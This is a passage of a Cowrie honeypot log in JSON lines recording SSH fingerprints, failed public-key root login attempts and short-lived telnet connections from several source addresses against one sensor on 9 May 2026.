istp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:46.674019Z","src_ip":"148.135.94.99","session":"65383a5f60b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:6c:1a:3e:32:d7:d0:b0:ec:f6:38:95:e5:4b:b7:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFzNWjTOb5Hh8ZmcoXQJy3XKHPeRZJTOxk2P+RjKYwASKko1vVWgdrEzwN2yv3ev6e591DN+qhbfOunuCR1am36mnirfYqBaHvcnWmPxZGL4ePRGjsa0OUp5m+f4k/OowjlMNCQZGfWEUQwzFUk0KGvvYRberjT2TK3DgZADYAH5evzOfHPcEFwUNmxKN3fE3HCJ40fZpjqRdwU7jQjUH7Q+dkR7yg7gXRLgA8Ds7XaKlB5LkiUsCnsG4GWeQ4P6bsR3LnHraJvgzGUCYeK+0uyw8/yUzQhFkEiriod11hIjCp63O1pMw+QsCCr5+uyoRaGOdipynUDwj+BtchQoMT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:6c:1a:3e:32:d7:d0:b0:ec:f6:38:95:e5:4b:b7:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:46.992301Z","src_ip":"148.135.94.99","session":"65383a5f60b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:6c:1a:3e:32:d7:d0:b0:ec:f6:38:95:e5:4b:b7:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFzNWjTOb5Hh8ZmcoXQJy3XKHPeRZJTOxk2P+RjKYwASKko1vVWgdrEzwN2yv3ev6e591DN+qhbfOunuCR1am36mnirfYqBaHvcnWmPxZGL4ePRGjsa0OUp5m+f4k/OowjlMNCQZGfWEUQwzFUk0KGvvYRberjT2TK3DgZADYAH5evzOfHPcEFwUNmxKN3fE3HCJ40fZpjqRdwU7jQjUH7Q+dkR7yg7gXRLgA8Ds7XaKlB5LkiUsCnsG4GWeQ4P6bsR3LnHraJvgzGUCYeK+0uyw8/yUzQhFkEiriod11hIjCp63O1pMw+QsCCr5+uyoRaGOdipynUDwj+BtchQoMT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:46.996338Z","src_ip":"148.135.94.99","session":"65383a5f60b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:97:b0:b9:d3:a1:f6:ed:2d:87:1e:ca:66:a0:22:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6+w1Q1EQ/khDSa1CKDFpKlrQmcRYG0+3VFNyTeXG3pKH8v1o1qQkJzYI/2So/ZPN2q1n0KLoupAmk1+4WmAxCi97dafzDMIAL6cmSePizZUxxfhwwbmX0t889zv+/vhLdJy3R71IKQfdLtTA3O+fGVIi0qW5pGTdVNfqSWynL8lWhv5toz9uyJTmnoX1/ZKOy7jiRfSJY4Rscw8fVTk/COAyep9BZbtrMLmL81LXhDFKH9V+WME2ovwWoQWmnLAAs/1fVKblA2nQIkNArsS6newXssthyuIheyeaI8K23+WV8y3NGBvTmTZGaDJkm98DzfEN+jnP4J+lvvxrKbHSL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:97:b0:b9:d3:a1:f6:ed:2d:87:1e:ca:66:a0:22:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:47.073263Z","src_ip":"148.135.94.99","session":"65383a5f60b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:97:b0:b9:d3:a1:f6:ed:2d:87:1e:ca:66:a0:22:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6+w1Q1EQ/khDSa1CKDFpKlrQmcRYG0+3VFNyTeXG3pKH8v1o1qQkJzYI/2So/ZPN2q1n0KLoupAmk1+4WmAxCi97dafzDMIAL6cmSePizZUxxfhwwbmX0t889zv+/vhLdJy3R71IKQfdLtTA3O+fGVIi0qW5pGTdVNfqSWynL8lWhv5toz9uyJTmnoX1/ZKOy7jiRfSJY4Rscw8fVTk/COAyep9BZbtrMLmL81LXhDFKH9V+WME2ovwWoQWmnLAAs/1fVKblA2nQIkNArsS6newXssthyuIheyeaI8K23+WV8y3NGBvTmTZGaDJkm98DzfEN+jnP4J+lvvxrKbHSL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:47.077411Z","src_ip":"148.135.94.99","session":"65383a5f60b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":45888,"dst_ip":"159.203.135.109","dst_port":23,"session":"04aa510081f8","protocol":"telnet","message":"New connection: 98.158.129.28:45888 (159.203.135.109:23) [session: 04aa510081f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:47.081724Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:0e:66:da:ec:c2:f9:ef:5a:1b:46:24:31:4b:ba:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtI8Jbh6blrlhy0Hh34t4KgaDa3jbiuZEWnaUmjVtWaV0m7o6CUlAh4xgW8pCNvXLVF/ZAsKTiRYxlWDBY4Ek7ENKC0LsVPnB4YGpx2Vz5b0WtY/29058geHmFc6Y8vRQHCK59M2oeYYHQShrY7diXqdAZ8HphpuPjoVX7yIqx+7Z4u11rNfW3kSiijs44/xYd22YPQXGmE9LfbzsSUi0/A+YYKEV8hnpM4ZWxPpyYqvQXzJpDhtf+mqXH7RevTtPK1UffQxzgHtQyVWFyI5yT3+6ULri7aFn0ktuivqYsJC/rjJ6HQGBVP/DYVr8nS3QbILqnSQIPc6YoWmj9ZrwL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:0e:66:da:ec:c2:f9:ef:5a:1b:46:24:31:4b:ba:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:47.151884Z","src_ip":"148.135.94.99","session":"65383a5f60b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:0e:66:da:ec:c2:f9:ef:5a:1b:46:24:31:4b:ba:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtI8Jbh6blrlhy0Hh34t4KgaDa3jbiuZEWnaUmjVtWaV0m7o6CUlAh4xgW8pCNvXLVF/ZAsKTiRYxlWDBY4Ek7ENKC0LsVPnB4YGpx2Vz5b0WtY/29058geHmFc6Y8vRQHCK59M2oeYYHQShrY7diXqdAZ8HphpuPjoVX7yIqx+7Z4u11rNfW3kSiijs44/xYd22YPQXGmE9LfbzsSUi0/A+YYKEV8hnpM4ZWxPpyYqvQXzJpDhtf+mqXH7RevTtPK1UffQxzgHtQyVWFyI5yT3+6ULri7aFn0ktuivqYsJC/rjJ6HQGBVP/DYVr8nS3QbILqnSQIPc6YoWmj9ZrwL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:47.155837Z","src_ip":"148.135.94.99","session":"65383a5f60b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:eb:8f:a3:3a:3f:8d:f6:2e:20:82:1c:d6:ff:d8:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDelao5nHnFYfHrWYLC2vsgdoIXUKjwfxuwnuN7dsQiuMjrNxgK4t2UiTjkK7lz5XBkaqQ3F3xUNbP6o4YwdaDigISpzc+GI/hnzI3a1Hen+UIZDhXVxyqdkOCyEUJVU3OASbbp7uBQXf4THa9tWMi6DEQozy6eDOMfr8L/nhsVVzNbTxyF0yHZ0gJReU7XaS5Q/tw3bJF4ZtOYgMsH0OmxPbDjU0rFItSJVYLihY8E3Mha55yIOa3zZbpQXEcx6LYsYND+Hq3SIyuatuC9dS3rgP5fZWFMlPQr9xh3Ro+euFEkZ9Ocuaa+gbse0uIc9FW7uE6kA+ueNJHRc/v7qCJB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:eb:8f:a3:3a:3f:8d:f6:2e:20:82:1c:d6:ff:d8:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:47.225131Z","src_ip":"148.135.94.99","session":"65383a5f60b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:eb:8f:a3:3a:3f:8d:f6:2e:20:82:1c:d6:ff:d8:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDelao5nHnFYfHrWYLC2vsgdoIXUKjwfxuwnuN7dsQiuMjrNxgK4t2UiTjkK7lz5XBkaqQ3F3xUNbP6o4YwdaDigISpzc+GI/hnzI3a1Hen+UIZDhXVxyqdkOCyEUJVU3OASbbp7uBQXf4THa9tWMi6DEQozy6eDOMfr8L/nhsVVzNbTxyF0yHZ0gJReU7XaS5Q/tw3bJF4ZtOYgMsH0OmxPbDjU0rFItSJVYLihY8E3Mha55yIOa3zZbpQXEcx6LYsYND+Hq3SIyuatuC9dS3rgP5fZWFMlPQr9xh3Ro+euFEkZ9Ocuaa+gbse0uIc9FW7uE6kA+ueNJHRc/v7qCJB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:47.228821Z","src_ip":"148.135.94.99","session":"65383a5f60b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.596741437911987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:47.237051Z","src_ip":"98.158.129.28","session":"b280c00250ae","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:6e:e2:06:42:0e:8e:db:d4:a6:ee:35:08:0b:16:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8H3rlM0hO6WKFZMlKjftFySIc6Fd+iLZREeImL42e6pk5XcPmdbhEhJZcxZw230rLrUBGBBLHG+2SvHNUwukr3sRvARYTV4eiPh+KQnKH+vmGaT/LhnyfkvQgiw5rTdgB6KaYtlDoS6wLLCcePYSW/Ygsk/KvW0Jm7TIZ2TTOUZjBV61yTLlV8gF9mlG00WEZLpz1WWVtTu7puNuHMdAybITb69ca09RxZde9aqxpSiMyoxx9VhxoKE0Va16NN8e+ghirUAlQZ+pi8QscaN7PlhJA9CAaTAfFaUh6TVxzPQjuLSf+Km/KBqmmvFW7hVTR9FT7U7cJDfaBgJEmAt/3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:6e:e2:06:42:0e:8e:db:d4:a6:ee:35:08:0b:16:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:47.299326Z","src_ip":"148.135.94.99","session":"65383a5f60b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:6e:e2:06:42:0e:8e:db:d4:a6:ee:35:08:0b:16:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8H3rlM0hO6WKFZMlKjftFySIc6Fd+iLZREeImL42e6pk5XcPmdbhEhJZcxZw230rLrUBGBBLHG+2SvHNUwukr3sRvARYTV4eiPh+KQnKH+vmGaT/LhnyfkvQgiw5rTdgB6KaYtlDoS6wLLCcePYSW/Ygsk/KvW0Jm7TIZ2TTOUZjBV61yTLlV8gF9mlG00WEZLpz1WWVtTu7puNuHMdAybITb69ca09RxZde9aqxpSiMyoxx9VhxoKE0Va16NN8e+ghirUAlQZ+pi8QscaN7PlhJA9CAaTAfFaUh6TVxzPQjuLSf+Km/KBqmmvFW7hVTR9FT7U7cJDfaBgJEmAt/3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:47.303596Z","src_ip":"148.135.94.99","session":"65383a5f60b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:47.373141Z","src_ip":"148.135.94.99","session":"65383a5f60b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.504261255264282,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:47.785902Z","src_ip":"98.158.129.28","session":"c653a017e14d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62418484687805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:50.080801Z","src_ip":"98.158.129.28","session":"16ab62917722","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.808377742767334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:51.957226Z","src_ip":"98.158.129.28","session":"ff8e1b4eefa9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":47257,"dst_ip":"159.203.135.109","dst_port":23,"session":"af93c693858f","protocol":"telnet","message":"New connection: 98.158.129.28:47257 (159.203.135.109:23) [session: af93c693858f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:52.805750Z"}
{"eventid":"cowrie.session.closed","duration":30.959083795547485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:55.553695Z","src_ip":"98.158.129.28","session":"04b8fed2b184","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.410439252853394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:56.012618Z","src_ip":"98.158.129.28","session":"53e27d0574b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":47688,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b3fd075b014","protocol":"telnet","message":"New connection: 98.158.129.28:47688 (159.203.135.109:23) [session: 0b3fd075b014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:56.675557Z"}
{"eventid":"cowrie.session.closed","duration":36.32664179801941,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:57.093501Z","src_ip":"199.103.57.63","session":"9d4d1b7cf457","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.886231184005737,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:57.992561Z","src_ip":"98.158.129.28","session":"e359a7941d5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":49092,"dst_ip":"159.203.135.109","dst_port":23,"session":"5abdc94478e7","protocol":"telnet","message":"New connection: 98.158.129.28:49092 (159.203.135.109:23) [session: 5abdc94478e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:59.797730Z"}
{"eventid":"cowrie.session.closed","duration":30.3805730342865,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:01.107197Z","src_ip":"98.158.129.28","session":"ecb1b7047f7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":49420,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d5a4782be2d","protocol":"telnet","message":"New connection: 98.158.129.28:49420 (159.203.135.109:23) [session: 6d5a4782be2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:02.752508Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":49653,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f1e960d7e96","protocol":"telnet","message":"New connection: 98.158.129.28:49653 (159.203.135.109:23) [session: 7f1e960d7e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:02.757376Z"}
{"eventid":"cowrie.session.closed","duration":31.554034948349,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:02.764102Z","src_ip":"98.158.129.28","session":"37b9379469ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":49997,"dst_ip":"159.203.135.109","dst_port":23,"session":"846a881f3b13","protocol":"telnet","message":"New connection: 98.158.129.28:49997 (159.203.135.109:23) [session: 846a881f3b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:04.221562Z"}
{"eventid":"cowrie.session.closed","duration":31.04556703567505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:04.597454Z","src_ip":"98.158.129.28","session":"bfa3a20a680f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.142.18.28","src_port":26758,"dst_ip":"10.17.0.5","dst_port":23,"session":"f389f5862526","protocol":"telnet","message":"New connection: 102.142.18.28:26758 (10.17.0.5:23) [session: f389f5862526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:10.055547Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":51575,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcb14a9c0c60","protocol":"telnet","message":"New connection: 98.158.129.28:51575 (159.203.135.109:23) [session: fcb14a9c0c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:11.950979Z"}
{"eventid":"cowrie.session.closed","duration":28.418452739715576,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:14.003616Z","src_ip":"98.158.129.28","session":"38e3558e9058","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":52135,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5b517ec3dc5","protocol":"telnet","message":"New connection: 98.158.129.28:52135 (159.203.135.109:23) [session: f5b517ec3dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:14.567518Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":52687,"dst_ip":"159.203.135.109","dst_port":23,"session":"b831a037b794","protocol":"telnet","message":"New connection: 98.158.129.28:52687 (159.203.135.109:23) [session: b831a037b794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:18.092910Z"}
{"eventid":"cowrie.session.closed","duration":32.06463170051575,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:19.146272Z","src_ip":"98.158.129.28","session":"04aa510081f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33366084098816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:23.139174Z","src_ip":"98.158.129.28","session":"af93c693858f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.37173867225647,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:23.427138Z","src_ip":"102.142.18.28","session":"f389f5862526","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.234536170959473,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:27.909961Z","src_ip":"98.158.129.28","session":"0b3fd075b014","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.24895977973938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:30.046553Z","src_ip":"98.158.129.28","session":"5abdc94478e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":55465,"dst_ip":"159.203.135.109","dst_port":23,"session":"89e75cfaf14f","protocol":"telnet","message":"New connection: 98.158.129.28:55465 (159.203.135.109:23) [session: 89e75cfaf14f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:31.822716Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":55845,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffa218ae9f61","protocol":"telnet","message":"New connection: 98.158.129.28:55845 (159.203.135.109:23) [session: ffa218ae9f61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:33.012900Z"}
{"eventid":"cowrie.session.closed","duration":31.211621284484863,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:33.968895Z","src_ip":"98.158.129.28","session":"7f1e960d7e96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.243507623672485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:33.995581Z","src_ip":"98.158.129.28","session":"6d5a4782be2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":55929,"dst_ip":"159.203.135.109","dst_port":23,"session":"15cfbf621dde","protocol":"telnet","message":"New connection: 98.158.129.28:55929 (159.203.135.109:23) [session: 15cfbf621dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:34.467287Z"}
{"eventid":"cowrie.session.closed","duration":31.18592095375061,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:35.407349Z","src_ip":"98.158.129.28","session":"846a881f3b13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":56519,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3a50093e3a6","protocol":"telnet","message":"New connection: 98.158.129.28:56519 (159.203.135.109:23) [session: e3a50093e3a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:36.173602Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":57087,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5bc6cb2dba5","protocol":"telnet","message":"New connection: 98.158.129.28:57087 (159.203.135.109:23) [session: a5bc6cb2dba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:38.955795Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":54222,"dst_ip":"10.17.0.5","dst_port":23,"session":"3548760ad1d2","protocol":"telnet","message":"New connection: 49.88.156.34:54222 (10.17.0.5:23) [session: 3548760ad1d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:40.436872Z"}
{"eventid":"cowrie.session.closed","duration":30.641738891601562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:42.592621Z","src_ip":"98.158.129.28","session":"fcb14a9c0c60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":58106,"dst_ip":"159.203.135.109","dst_port":23,"session":"582580e72e50","protocol":"telnet","message":"New connection: 98.158.129.28:58106 (159.203.135.109:23) [session: 582580e72e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:43.587724Z"}
{"eventid":"cowrie.session.closed","duration":31.746513605117798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:46.313921Z","src_ip":"98.158.129.28","session":"f5b517ec3dc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.291105031967163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:48.383871Z","src_ip":"98.158.129.28","session":"b831a037b794","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":43266,"dst_ip":"159.203.135.109","dst_port":23,"session":"b954d4bc4909","protocol":"telnet","message":"New connection: 135.148.33.91:43266 (159.203.135.109:23) [session: b954d4bc4909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:53:50.859362Z"}
{"eventid":"cowrie.session.closed","duration":30.813557863235474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:54:02.636207Z","src_ip":"98.158.129.28","session":"89e75cfaf14f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.261000394821167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:54:04.273765Z","src_ip":"98.158.129.28","session":"ffa218ae9f61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.34189224243164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:54:05.809070Z","src_ip":"98.158.129.28","session":"15cfbf621dde","protocol":"telnet"}
